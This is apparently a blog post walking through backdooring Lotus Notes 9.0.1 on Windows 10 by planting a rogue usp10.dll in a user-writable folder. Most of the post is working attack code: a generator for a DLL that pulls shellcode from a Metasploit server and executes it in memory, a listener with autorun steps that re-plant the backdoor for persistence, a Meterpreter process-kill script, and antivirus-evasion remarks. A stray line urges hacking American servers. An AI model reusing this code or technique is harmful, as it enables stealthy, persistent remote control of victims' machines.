Dll path spoofing in Windows 10 64bit and Lotus Notes 9.0.1


Kak vobshe mogut Ruskie vzlomshiki razrabotat Amerikanskie servera ??? Davai Kirill dui prjamo po koridoru i vzlamyvai te suki.


This was a particularly nice exercise  and I will share my findings here, maybe somebody will find this useful. A few years ago I have written an article on this issue about backdooring Lotus Notes 8 on Windows 7 via uniscribe dll path spoofing.  This was in July 2011


So in 2017 I decided to look if this very same issue still persists in latest Lotus Notes and a modern Windows 10 OS.

For my experiment I have chosen the following software :

  • Laptop with Linux Mint with Virtual Box to host guest VMs
  • Laptop with Linux Mint and Metasploit v4.13.13-dev-18347a8
  • Windows 10 64bit and Lotus notes 9.0.1 as a guest in Virtual Box VM
  • Alpine Linux as a guest in Virtual Box VM as a router for other VMs

So lets get to business. In the original article from 2011 it was sufficient to generate a DLL via msfpayload and msfencode like so

./msfpayload windows/meterpreter/reverse_https LHOST=$IP LPORT=$port EXITFUNC=process R | ./msfencode -t dll  > usp10.dll

Antivirus never flagged any Metasploit generated payloads back then, so life was easy and we popped shells like crazy. Over the years the rules changed a little and security software vendors started to strike back. I vaguely remember that after a while MS Defender started to pick on the Metasploit generated dll and I had to think of another evasive technique.

In 2013 I have used this to bypass AV signatures and heuristics


It worked for some time but after while the compiled DLLs got picked by the AVs again so another technique had to be chosen.

I have chosen Raphael’s method as shown here to bypass AVs (still gets by on most AVs)


and changed it a little to generate custom DLLs with custom entry points that vulnerable EXEs were calling


So to get back to the original point, none of these methods worked on the new Lotus Notes 9.0.1 and Windows 10 64bit image. Either the AV was detecting the Metasploit generated payload DLL or I could not see the DLL entry points in ProcessExplorer that was used in previous DLL function tagging.

So first what I did was to fire-up Process Monitor from Sysinternals (MS) to check if the Lotus Notes NLNOTES.EXE still looks for DLLs in wrong places … To my surprise it still does

notes-hackSo we have a user controlled directory located in %LOCALAPPDATA%\IBM\Notes\Data  and we can place our custom usp10.dll file. For the sake of this exercise we are not covering the method of the actual file dropping to that destination, so I will call this a Metasploit persistence method instead.

From the initial analysis I could not see any entry point from the process details when the NLNOTES.EXE actually loaded the valid DLL from C:\Windows\SysWOW64\ directory

So no DLL function to see via PROCESS MONITOR dll load file details. So I decided to use a little tool from Nirsoft called Dll Export Viewer downloadable from here


With this tool I have managed to query the valid usp10.dll on Windows 10 to see all the entry points that could be used in the rogue dll for the Lotus Notes 9 attack.

exported-functions-listThen I have filtered out all irrelevant data for this case

dllexport-view-filter-functionsAnd selected all those functions and saved them into a text file which I have transferred to my Metasploit laptop for further use..

dllexport-view-filter-functions-save-to-txtSo next, I have moved this text file with usp10.dll.txt entry point functions to my attacker Linux box with Metasploit Framework. Make sure you convert it to UNIX format via :

fromdos usp10.dll.txt

Next I had to come up with some automation scripts. Don’t we all love automation ? So Here is my example for a C++ code generator for a special DLL file to be used in our scenario


place this in your $METASPLOIT root directory and make it executable
echo "****************************************************************"
echo " Automatic C source code generator - FOR METASPLOIT "
echo " Based on rsmudge metasploit-loader "
echo " Dll-EntryPoint Generator astr0 " 
echo "****************************************************************"
echo -en 'Metasploit server IP : '
read ip
echo -en 'Metasploit port number : '
read port
echo -en "File with dll-entries from dllexp binary (make sure you did fromdos on it) /path/to/file :"
read file
echo -en "DLL filename : " 
rm temp.c custom-temp.c 
read dllfilename

echo '#include <stdio.h>'> temp.c
echo '#include <stdlib.h>' >> temp.c
echo '#include <winsock2.h>' >> temp.c
echo '#include <windows.h>' >> temp.c
echo -n 'unsigned char server[]="' >> temp.c
echo -n $ip >> temp.c
echo -n '";' >> temp.c
echo '' >> temp.c
echo -n 'unsigned char serverp[]="' >> temp.c
echo -n $port >> temp.c
echo -n '";' >> temp.c
echo '' >> temp.c
echo 'void winsock_init() {' >> temp.c
echo ' WSADATA wsaData;' >> temp.c
echo ' WORD wVersionRequested;' >> temp.c
echo ' wVersionRequested = MAKEWORD(2, 2);'>> temp.c
echo ' if (WSAStartup(wVersionRequested, &wsaData) < 0) {' >> temp.c
echo ' printf("bad\n"); '>> temp.c
echo ' WSACleanup(); '>> temp.c
echo ' exit(1);'>> temp.c
echo ' }' >> temp.c
echo ' }' >> temp.c
echo ' void punt(SOCKET my_socket, char * error) {' >> temp.c
echo ' printf("r %s\n", error);'>> temp.c
echo ' closesocket(my_socket);'>> temp.c
echo ' WSACleanup();'>> temp.c
echo ' exit(1);' >> temp.c
echo ' }' >> temp.c
echo ' int recv_all(SOCKET my_socket, void * buffer, int len) {' >> temp.c
echo ' int tret = 0;'>> temp.c
echo ' int nret = 0;'>>temp.c
echo ' void * startb = buffer;'>> temp.c
echo ' while (tret < len) {'>>temp.c
echo ' nret = recv(my_socket, (char *)startb, len - tret, 0);'>> temp.c
echo ' startb += nret;'>> temp.c
echo ' tret += nret;'>>temp.c
echo ' if (nret == SOCKET_ERROR)'>> temp.c
echo ' punt(my_socket, "no data");'>> temp.c
echo ' }'>>temp.c
echo ' return tret;'>> temp.c
echo '}' >> temp.c
echo 'SOCKET wsconnect(char * targetip, int port) {'>> temp.c
echo ' struct hostent * target;' >> temp.c
echo ' struct sockaddr_in sock;' >> temp.c
echo ' SOCKET my_socket;'>>temp.c
echo ' my_socket = socket(AF_INET, SOCK_STREAM, 0);'>> temp.c
echo ' if (my_socket == INVALID_SOCKET)'>> temp.c
echo ' punt(my_socket, ".");'>>temp.c
echo ' target = gethostbyname(targetip);'>>temp.c
echo ' if (target == NULL)'>>temp.c
echo ' punt(my_socket, "..");'>>temp.c
echo ' memcpy(&sock.sin_addr.s_addr, target->h_addr, target->h_length);'>>temp.c
echo ' sock.sin_family = AF_INET;'>> temp.c
echo ' sock.sin_port = htons(port);'>>temp.c
echo ' if ( connect(my_socket, (struct sockaddr *)&sock, sizeof(sock)) )'>>temp.c
echo ' punt(my_socket, "...");'>>temp.c
echo ' return my_socket;'>>temp.c
echo ' }'>> temp.c 

for i in `cat $file` ; do 
echo -n 'int ' >> custom-temp.c 
echo -n $i >> custom-temp.c
echo '(int argc, char * argv[]) {' >> custom-temp.c
echo ' FreeConsole();'>> custom-temp.c
echo ' ULONG32 size;'>> custom-temp.c
echo ' char * buffer;'>> custom-temp.c
echo ' void (*function)();'>> custom-temp.c
echo ' winsock_init();'>> custom-temp.c
echo ' SOCKET my_socket = wsconnect(server, atoi(serverp));'>> custom-temp.c
echo ' int count = recv(my_socket, (char *)&size, 4, 0);'>> custom-temp.c
echo ' if (count != 4 || size <= 0)'>> custom-temp.c
echo ' punt(my_socket, "error lenght\n");'>> custom-temp.c
echo ' buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);'>> custom-temp.c
echo ' if (buffer == NULL)'>> custom-temp.c
echo ' punt(my_socket, "error in buf\n");'>> custom-temp.c
echo ' buffer[0] = 0xBF;'>> custom-temp.c
echo ' memcpy(buffer + 1, &my_socket, 4);'>> custom-temp.c
echo ' count = recv_all(my_socket, buffer + 5, size);'>> custom-temp.c
echo ' function = (void (*)())buffer;'>> custom-temp.c
echo ' function();'>> custom-temp.c
echo ' return 0;'>> custom-temp.c
echo '}' >> custom-temp.c

cat temp.c custom-temp.c > final-temp.c 

echo 'Compiling C code to Dll ..'
/usr/bin/i686-w64-mingw32-gcc-5.3-win32 final-temp.c -o payload.dll -lws2_32 -shared
strip payload.dll
echo 'Make sure you rename the dll to your needs'
echo 'Renaming to' $dllfilename
mv payload.dll $dllfilename 
ls -la $dllfilename 

So place this script in your Metasploit root directory, make it executable and make sure you provide the needed data :)  That would be Listener IP, TCP Port, DLL-TEXT-FILE-with-entry points and a name of the final dll (our case is usp10.dll)

Also make sure you have the mingw32 environment setup on your platform. On Mint 17.3 I use /usr/bin/i686-w64-mingw32-gcc-5.3-win32 , not sure what other Linux distributions shit with, so customize to your environment.

The DLL file will be dropped in $METAPSLOIT folder ready to be deployed on the target.

Next we need to have a good Listener script with some automation again :) Don’t we love automation ?


place this in your $METASPLOIT root directory and make it executable
echo "***************************************************************"
echo " Automatic shellcode generator - FOR METASPLOIT "
echo " Metasploit custom listener for Lotus Notes "
echo "***************************************************************"
echo -e "What IP are we gonna listen to ? \c"
read host
echo -e "What Port Number are we gonna listen to? : \c"
read port

echo "Starting the meterpreter listener.."
echo -n './msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp ; set LHOST ' > run.listener.sh 

echo -n $host >> run.listener.sh 
echo -n '; set LPORT ' >> run.listener.sh 
echo -n $port >> run.listener.sh 

#Prepare an autorun rc script for metasploit
echo 'migrate -N explorer.exe' > /tmp/migrate.rc 
echo ' cd %LOCALAPPDATA%' >> /tmp/migrate.rc 
echo ' cd IBM' >> /tmp/migrate.rc 
echo ' cd Notes' >> /tmp/migrate.rc 
echo ' cd Data ' >> /tmp/migrate.rc
echo ' rm usp10.dll' >> /tmp/migrate.rc 
# Here we use a custom NOTES.EXE kill ruby script 
echo ' run notes-kill' >> /tmp/migrate.rc 
echo " execute -c -f 'C:\Program Files (x86)\IBM\Notes\notes.exe'" >> /tmp/migrate.rc 
# Stupid wait trick to buy some time for NLNOTES.EXE to load properly before we re-upload usp10.dll
echo ' cd %LOCALAPPDATA%' >> /tmp/migrate.rc
echo ' cd IBM' >> /tmp/migrate.rc
echo ' cd Notes' >> /tmp/migrate.rc
echo ' cd Data ' >> /tmp/migrate.rc
echo ' cd %LOCALAPPDATA%' >> /tmp/migrate.rc
echo ' cd IBM' >> /tmp/migrate.rc
echo ' cd Notes' >> /tmp/migrate.rc
echo ' cd Data ' >> /tmp/migrate.rc
echo ' cd %LOCALAPPDATA%' >> /tmp/migrate.rc
echo ' cd IBM' >> /tmp/migrate.rc
echo ' cd Notes' >> /tmp/migrate.rc
echo ' cd Data ' >> /tmp/migrate.rc

# Lets drop the usp10.dll again for for persistance 
echo ' upload usp10.dll' >> /tmp/migrate.rc

# And move to desktop 
echo ' cd %userprofile%' >> /tmp/migrate.rc
echo ' cd Desktop' >> /tmp/migrate.rc 

# Set the runtime options for autorun 
echo -n ';set AutoRunScript multi_console_command -rc /tmp/migrate.rc ' >> run.listener.sh
echo -n '; run"' >> run.listener.sh 
chmod +x run.listener.sh 

The reason behind such steps above is that once NLNOTES.EXE loads our custom usp10.dll it will get stuck because we supplied all valid functions in the compiled usp10.dll that point to loading the Meterpreter into memory. So in order to not look stupid I have humbly tried to “slow” down the Lotus Notes loading process, removing the usp10.dll, reloading the notes.exe  via Metasploit automation scripting so it looks more natural :)  (You can see from the demonstration video the whole process). The whole point is summarised in these steps

  • migrate to explorer.exe
  • cd to %LOCALAPPDATA%\IBM\Notes\Data
  • remove the usp10.dll on the target so we can get a clean Notes start
  • run a custom NOTES-kill script to kill NOTES.EXE

CUSTOM NOTES-KILL script should be placed in $METASPLOIT/scripts/meterpreter/notes-kill.rb

# Meterpreter script that kills IBM notes.exe  
# Provided by: Astr0baby

@@exec_opts = Rex::Parser::Arguments.new(
 "-h" => [ false, "Help menu." ]
def usage
 print_line("Usage:" + @@exec_opts.usage)
 raise Rex::Script::Completed

@@exec_opts.parse(args) { |opt, idx, val|
 case opt
 when "-h"

print_status("Killing Lotus Notes services on the target...")

notes = %W{

client.sys.process.get_processes().each do |x|
 if (notes.index(x['name'].downcase))
 print_status("Killing off #{x['name']}...")
  • Execute a valid  C:\Program Files (x86)\IBM\Notes\notes.exe so that the user gets a working Notes client and not a stuck one because of our custom usp10.dll
  • buy some time going around directories for the notes.exe to load with valid usp10.dll
  • drop the backdoor usp10.dll again to the target for next exploitation :)
  • change to user desktop folder on target
  • collect loot

Here are the vids from the above

Generating the DLL

Executing the DLL on Windows via Lotus Notes 9





Gallery | This entry was posted in Uncategorized. Bookmark the permalink.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s